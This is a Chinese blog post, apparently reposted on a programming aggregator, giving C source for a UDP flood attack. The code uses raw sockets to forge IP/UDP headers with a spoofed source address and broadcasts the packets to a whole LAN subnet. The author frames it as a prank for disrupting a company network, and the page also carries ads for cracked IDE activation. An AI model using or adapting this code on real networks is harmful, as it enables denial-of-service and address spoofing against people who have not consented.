简单的udp攻击_udp flood攻击

简单的udp攻击_udp flood攻击由于本人很菜,这个代码是改别人的.呵呵.可以在公司的局域网里搞搞坏,呵呵.我是在ubuntu8.04下的,需要gcc编译.这个也添加了广播,整个网段的人都能收到了#include#include#include#include//ip#include//tcp#include#includeunsignedshortip_su…

大家好,又见面了,我是你们的朋友全栈君。如果您正在找激活码,请点击查看最新教程,关注关注公众号 “全栈程序员社区” 获取激活教程,可能之前旧版本教程已经失效.最新Idea2022.1教程亲测有效,一键激活。

Jetbrains全系列IDE稳定放心使用
由于本人很菜,这个代码是改别人的.呵呵.可以在公司的局域网里搞搞坏,呵呵.

我是在ubuntu8.04下的,需要gcc编译.

这个也添加了广播,整个网段的人都能收到了

#include <stdio.h>

#include <sys/socket.h>

#include <unistd.h>

#include <netinet/ip.h> //ip

#include <netinet/udp.h> //tcp

#include <stdlib.h>

#include<netinet/in.h>

unsigned short ip_sum(unsigned short *addrr2, int len2) {

register unsigned short *addrr = addrr2;

register int len = len2;

register int sum = 0;

unsigned short answer = 0;

while (len > 1) {

sum += *addrr++;

len -= 2;

}

if (len == 1) {

*(unsigned char *) (&answer) = *(unsigned char *) addrr;

sum += answer;

}

sum = (sum >> 16) + (sum & 0xffff);

sum += (sum >> 16);

answer = ~sum;

return (answer);

}

unsigned short cksum(short * buf, int nwords) {

unsigned long sum;

for (sum = 0; nwords > 0; nwords–)

sum += *buf++;

sum = (sum >> 16) + (sum & 0xffff);

sum += (sum >> 16);

return ~sum;

}

int main(int argc, char *argv[]) {

int sock, size, bytes_send, psize;

psize = 0;

struct sockaddr_in sin;

struct {

struct ip iphead;

struct udphdr udphead;

unsigned char evil[];

} faggot;

size = sizeof(struct ip) + sizeof(struct udphdr) + 1 + psize;

printf(“create socket\r\n”);

sin.sin_family = AF_INET;

sin.sin_addr.s_addr = inet_addr(“192.168.0.255”); //被攻击者ip

sock = socket(AF_INET, SOCK_RAW, IPPROTO_RAW);

if (setsockopt(sock, IPPROTO_IP, IP_HDRINCL, &size, sizeof(size)) < 0) {

printf(“2”);

perror(“IP_HDRINCL”);

exit(1);

}

const int on = 1;//设定常量,用于打开广播模式

//设定该接口上的广播模式

if (setsockopt(sock, SOL_SOCKET, SO_BROADCAST, &on, sizeof(on)) < 0) {

printf(“2”);

perror(“IP_HDRINCL”);

exit(1);

}

faggot.evil[psize] = ‘\0’;

printf(“create iphead\r\n”);

faggot.iphead.ip_v = 4;

faggot.iphead.ip_hl = 5;

faggot.iphead.ip_tos = 0x00;

faggot.iphead.ip_len = size;

faggot.iphead.ip_id = 1025;

faggot.iphead.ip_off = 0;

faggot.iphead.ip_ttl = 201;

faggot.iphead.ip_p = IPPROTO_UDP;

faggot.iphead.ip_sum = 0;

inet_aton(“192.168.0.157”, &faggot.iphead.ip_src);//假冒ip

inet_aton(“192.168.0.255”, &faggot.iphead.ip_dst);//被攻击者ip

printf(“create udphead\r\n”);

faggot.udphead.source = htons(12345);//假冒端口

faggot.udphead.dest = htons(80);//被攻击者端口

faggot.udphead.len = htons(sizeof(faggot.udphead) + 1 + psize);

faggot.iphead.ip_sum = ip_sum((short *) &(faggot.iphead), sizeof(faggot.iphead));

faggot.udphead.check = cksum((short *) &(faggot.udphead), size >> 1);

printf(“start send\r\n”);

int i = 1;

while (i > 0) {

bytes_send = sendto(sock, &faggot, size, 0, (struct sockaddr *) &sin, sizeof(sin));

i–;

// if (bytes_send > 0) {

// i++;

// printf(“第%d次OK bytes_send udp %d \n”, i, bytes_send);

// }

}

printf(“end send\r\n”);

}

版权声明:本文内容由互联网用户自发贡献,该文观点仅代表作者本人。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如发现本站有涉嫌侵权/违法违规的内容, 请发送邮件至 举报,一经查实,本站将立刻删除。

发布者:全栈程序员-用户IM,转载请注明出处:https://javaforall.cn/186802.html原文链接:https://javaforall.cn

【正版授权,激活自己账号】: Jetbrains全家桶Ide使用,1年售后保障,每天仅需1毛

【官方授权 正版激活】: 官方授权 正版激活 支持Jetbrains家族下所有IDE 使用个人JB账号...

(0)


相关推荐

  • python和pycharm以及anaconda的安装顺序_简述信息消息信号三者的区别与联系

    python和pycharm以及anaconda的安装顺序_简述信息消息信号三者的区别与联系1、致欢迎词我将详细讲述在学Python初期的各种手忙脚乱的问题的解决,通过这些步骤的操作,让你的注意力集中在Python的语法上以及后面利用Python所解决的项目问题上。而我自己作为小白,很不幸的没有错过任何的坑,都跳了进去,所以在这里写下经验贴,一方面希望能给后来的学者能够高效的避开这些坑,另一方面也算是自己的总结与警告。2、内容大纲2.1安装顺序能够使用Python的安装…

  • windows配置多个NTP服务器地址

    windows配置多个NTP服务器地址背景:有客户的windows配置了time.nist.gov作为时间同步服务器地址,可能因为这个服务器在美国,有时候不能成功从服务器拿到最新时间。所以给客户配置多个NTP地址,一个不行自动去问另一个。 1.打开cmd窗口(需以管理员身份运行)2.重启时间同步服务netstopw32time&amp;netstartw32time3.配置NTP地址池(可以是域…

  • iOS 7 UI 过渡指南 – 開始之前(iOS 7 UI Transition Guide – Before You Start)[通俗易懂]

    iOS 7 UI 过渡指南 – 開始之前(iOS 7 UI Transition Guide – Before You Start)

  • linux centos7下源码 tar安装mysql5.7.22或mysql5.7.20 图文详解

    linux centos7下源码 tar安装mysql5.7.22或mysql5.7.20 图文详解

  • 7-20 表达式转换(栈)[通俗易懂]

    7-20 表达式转换(栈)[通俗易懂]原题链接算术表达式有前缀表示法、中缀表示法和后缀表示法等形式。日常使用的算术表达式是采用中缀表示法,即二元运算符位于两个运算数中间。请设计程序将中缀表达式转换为后缀表达式。输入格式:输入在一行中给出不含空格的中缀表达式,可包含+、-、*、\以及左右括号(),表达式不超过20个字符。输出格式:在一行中输出转换后的后缀表达式,要求不同对象(运算数、运算符号)之间以空格分隔,但结尾不得有多余空格。输入样例:2+3*(7-4)+8/4输出样例:2 3 7 4 – * + 8 4 / +注意

  • CDN加速服务器_suv加速排行榜

    CDN加速服务器_suv加速排行榜CDN全称Contentdeliverynetwork,中文内容分发网络,目的是通过在现有的Internet中增加一层新的网络架构,将网站的内容发布到最接近用户的网络”边缘”,从技术上全面解决由于网络带宽小、用户访问量大、网点分布不均等原因所造成的用户访问网站响应速度慢的问题。简单地讲,如果觉得自己的网站的打开速度很慢,可以用CDN来加速网站访问,如果网站的流量非常大,用CDN则可以分担主

    2022年10月23日

发表回复

您的电子邮箱地址不会被公开。

关注全栈程序员社区公众号